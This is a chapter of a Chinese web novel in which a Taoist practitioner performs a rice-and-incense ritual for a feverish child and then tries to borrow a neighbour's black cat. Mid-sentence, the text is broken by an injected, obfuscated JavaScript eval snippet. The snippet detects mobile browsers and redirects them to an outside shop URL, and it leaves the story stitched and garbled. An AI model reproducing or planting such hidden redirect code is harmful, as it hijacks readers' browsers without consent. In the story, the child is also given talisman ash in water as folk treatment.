张罗宁静静看着女人怀抱里的小男孩,两个老年人一动不敢动,生怕惊扰到大师作法。
过了一分钟,张罗宁收回目光。
“走,”她说,“去你们家。”
男的愣了一下,反应过来,转身就往楼下跑。女的抱着孩子跟在后面,脚步踉跄,差点踩空。
张罗宁转身进屋,半分钟后出来,手里多了个灰蓝色的布袋。
一看,楼道里已经没人了,她赶紧快步下楼。
---
小男孩家客厅不大,收拾得干净。沙发上扔着小孩的几件衣服,茶几上胡乱放着奶瓶、退烧贴和半杯没喝完的水。
张罗宁走进去,在客厅中间站定。
她没急着说话,先把整个空间看了一遍。从门口看到沙发,从沙发看到茶几,从茶几看到通往卧室的那条过道。
小男孩奶奶跟在她身后,两只手攥在一起,不知道该往哪儿站。她看看张罗宁,又看看卧室的方向,嘴唇动了动,想说什么又咽回去了。
“小朋友发烧前,”张罗宁开口问道:“你们带他去过什么地方?”
奶奶愣了一下,想了想。
“周末……周末他爸妈带他出去玩了。”
“去哪儿?”
“就……”男孩奶奶回忆着,生怕漏掉什么细节,“先是去商场,逛了一会儿,后来他爸说想爬山,又带他去爬了半天。但那是公园啊,人很多的,好多小孩都在那里玩。”
她顿了顿,声音低了下去,“没想到回来当天晚上就开始烧了。”
张罗宁没说话。
小男孩爷爷从厨房出来,端着一杯水,递给张罗宁。他手有点抖,水在杯子里轻轻晃着。
张罗宁接过,没喝,放在茶几上。问道:“小朋友爸爸妈妈呢?”
“上班去了,”他说,叹了口气,“两个人都只请到了一天假,现在只能我们两个老的照顾咯。”
他站在那儿,手不知道往哪儿放,最后插进裤兜里,又抽出来,垂在身侧。
张罗宁点点头,她把那个灰蓝色的布袋打开,从里面往外拿东西。
小男孩爷爷站在旁边,看着她。
先是香,三根,用纸包着。然后是一个小碟子,白瓷的,比巴掌小一点。然后是一个小布袋,里面装着米,倒出来,刚好装满那个碟子。
然后是几张符纸,叠得整整齐齐,上面用朱砂画着弯弯曲曲的线条。
最后是她找孩子爷爷要来的一件小男孩的衣服。
“穿了还没洗吧?”
小男孩奶奶接过来看了一眼,点头:“今天刚换下来的,还没来得及洗。”
张罗宁把东西摆好。香插在米碟里,符纸放在一边,衣服搭在椅背上。
她站起来,走到房间门口。
“把他抱过来。”
男孩奶奶进去,把小孩从床上抱起来。小孩没醒,软软地趴在她肩上,呼吸还是有点重。她抱得很小心,像是抱着什么易碎的东西。
张罗宁指了指沙发。
“放这儿。”
男孩奶奶把小孩放在沙发上,平躺着。小孩动了动,哼了一声,又睡过去了。
张罗宁蹲下来,看着他。
几秒钟后,她站起来,走到茶几边,把那件衣服拿起来,打开,虚虚地盖在小孩的脸上。不重,轻轻的,刚好盖住整张脸。
张罗宁把米碟端起来,放在小孩头边的茶几上。
然后她点着那三根香。
火柴划过,一小簇火苗亮起来,照亮了她的手指。她把香凑过去,等火苗稳住,才轻轻拂灭。三根香头红红的,细细的烟往上飘。
她把香插进米碟里。
香烟在灯光下看得见,细细的,一缕一缕往上飘。飘到半空,散了。
张罗宁站在茶几边,垂着眼,看着那碟米。
房间里安静极了。
孩子爷爷站在旁边,大气不敢出。孩子奶奶攥着手,死死盯着那件盖着小孩脸的衣服。她眉头皱着,嘴唇动了动,想说什么,又咽回去了。
时间一秒一秒过去。
香烧下去一小截烟还在飘,细细的,没断过。
张罗宁没动。
小男孩爷爷不知道她在看什么那碟米被衣服盖着,什么都看不见。但她就是站在那儿,看着。
又过了几十秒。
张罗宁忽然抬起手。
动作很慢,很轻。她用右手的中指和食指,在那碟米上方画着什么。不是画在米上,是画在空气里——一笔,两笔,三笔。手指划过的地方,香烟被带起来,绕着她的手指转了一圈。
孩子爷爷眼睛都不敢眨。
张罗宁画了几下,停下来。她盯着那碟米,又看了一会儿。
然后她伸手,把香拔出来,掐灭。
香头按在碟子边缘,滋的一声,灭了。
男孩爷爷愣了一下。
张罗宁没解释,她蹲下来,把那件衣服从小孩脸上轻轻拿开。小孩还是睡着的,脸还是红的,但呼吸好像比刚才稳了一点。胸膛起伏的节奏慢下来了,没那么急。
她把米碟端起来,往厨房走。
男孩爷爷跟过去,站在厨房门口。
张罗宁站在水池边,把那碟米倒进一个小盆里。水龙头打开,水哗哗地冲下来。米粒在水里打转,有的沉下去,有的浮起来。
她低头看着那些米,没说话。
男孩爷爷站在她身后,想开口,又不敢。
水停了,张罗宁盯着小盆里的米,看了好几秒。
然后她抬起头,转过身。
“他去过的地方,”她说,“有一个地方不对。”
男孩爷爷愣了一下。
“什么地方?”
张罗宁没回答,她端着那个小盆,走回客厅,放在茶几上。
“你们自己看。”
男孩爷爷凑过去,低头看。
小盆里,米粒沉在水底,铺成薄薄一层。大部分米粒都沉在底下,安安静静的。但有那么几颗,浮在水面上,怎么都沉不下去。
孩子奶奶也凑过来看。她盯着那几颗浮着的米,脸色变了。
“这……这是什么意思?”
张罗宁看着她。
“那个地方,有什么东西,”她说,“小孩看见了,吓着了。”
孩子奶奶张了张嘴,没说出话来。
孩子爷爷站在旁边,眉头皱起来。
“那怎么办啊?张道长,我们以后不能带孩子去那里爬山了吗?”
张罗宁没回答,她走到茶几边,把那几张符纸拿起来,抽出两张,递给男孩奶奶。
“这两张叠好,放他贴身口袋里。”
男孩奶奶接过来,手有点抖。
张罗宁又抽出一张,看了看。
“这张烧了,灰兑水,给他喝一口。不多,一小口就行。”
男孩奶奶点头,把那几张符纸攥在手里,攥得很紧。
张罗宁把剩下的符纸收起来,放回布袋里。然后她站起来,看着沙发上那个小孩。
“他今天晚上还会烧。”
男孩爷爷心一沉,奶奶脸色也白了。
“但不会像昨天那么高,”张罗宁顿了顿,“你们还是要带他回医院。”
男孩爷爷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377660|197104||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
张了张嘴,想说什么。
张罗宁没等他开口,她把布袋系好,拎起来,往门口走。
还是小孩奶奶反应快。她几步追上去,从包里掏出一个红包,往张罗宁手里塞。
“张道长,太谢谢你了。”
张罗宁侧身让了让,没接。
奶奶手停在半空,愣了一下,又往前递。
“不成敬意,不成敬意……”
张罗宁看了她一眼,老人手有点抖,红包捏得紧紧的,怕被她拒绝。
她没再让,伸手接过,放进布袋里。
“回去看孩子吧。”
门开了,她走出去。
---
三号楼楼下,王姐正在院子里跟李琳说话。
“哎呀,小黑越来越不着家了。”王姐叉着腰,看着蹲在墙头的那团黑影,“天天晚上跑出去,也不知道干啥,白天回来就知道睡大觉。”
李琳站在旁边,没接话。
她知道小黑干什么去了,但这种话没法跟王姐说。
“流浪猫嘛,”李琳说,“只要它把你家蟑螂抓干净就行啦。”
说起抓蟑螂,王姐眼睛亮了。
“那倒是,”她往墙头看了一眼,“前天晚上,就它,一爪子拍死俩。我搁旁边看着,都没反应过来。”
她开始给李琳夸小黑抓蟑螂那些事儿……
这时,张罗宁从巷子口走进来。
她走到院门口,脚步顿了一下。
墙头藏着一团黑。
那只猫趴在墙头,一动不动。阳光把它晒成一团浓墨,眼睛眯着,像是睡着了。
但张罗宁的脚步声刚进院子,它的耳朵就往后转了转。
显然根本没睡。
它听见了,也知道有人来了,可它就不想搭理人,就那么趴着,耳朵冲着声音的方向,眼睛还是眯着。
张罗宁看了一眼。
玄猫。
她想起刚才那碟米。
米粒冲下去的时候,有几颗浮在最上面,怎么冲都冲不走。那个位置,她心里有个大概的方向。
如果能带这只猫去——
她收回目光,走进院子。
王姐看见她,愣了一下,又立刻堆满了笑,跟她打招呼:“张道长,回来啦?”
张罗宁站定,回应:“王姐,”
她问道:“能跟你借下小黑吗?”
王姐没反应过来。
“啥?”
张罗宁指了指墙头。
“小黑,有法事需要借它用半天。”
王姐顺着她手指的方向看过去,又转回来,看着她。
“小黑?”
张罗宁点头。
王姐张了张嘴,扭头看李琳。
李琳不说话,低头回避王姐的目光。
王姐又转回来。
“这个……”她指了指墙头,“它不听我的。有时候我叫它,它头都不回,你叫得动不?”
张罗宁没说话,她抬眼看向墙头,向小黑招招手。
小黑已经站起来了,四只爪子踩在墙头,正往这边看,那双金色的眼睛在下午的光里亮得惊人。
它看着她。
张罗宁也看着它。
过了几秒,小黑忽然把头扭向一边,舔了舔爪子。
张罗宁收回目光。
“看来,”她说,“我使唤不动它啊……”
她拎着布袋,往楼道走。
王姐站在院子里,看着她的背影消失在楼道里,她扭头看李琳。
李琳还是不说话。
墙头那团黑不知道啥时候没影了。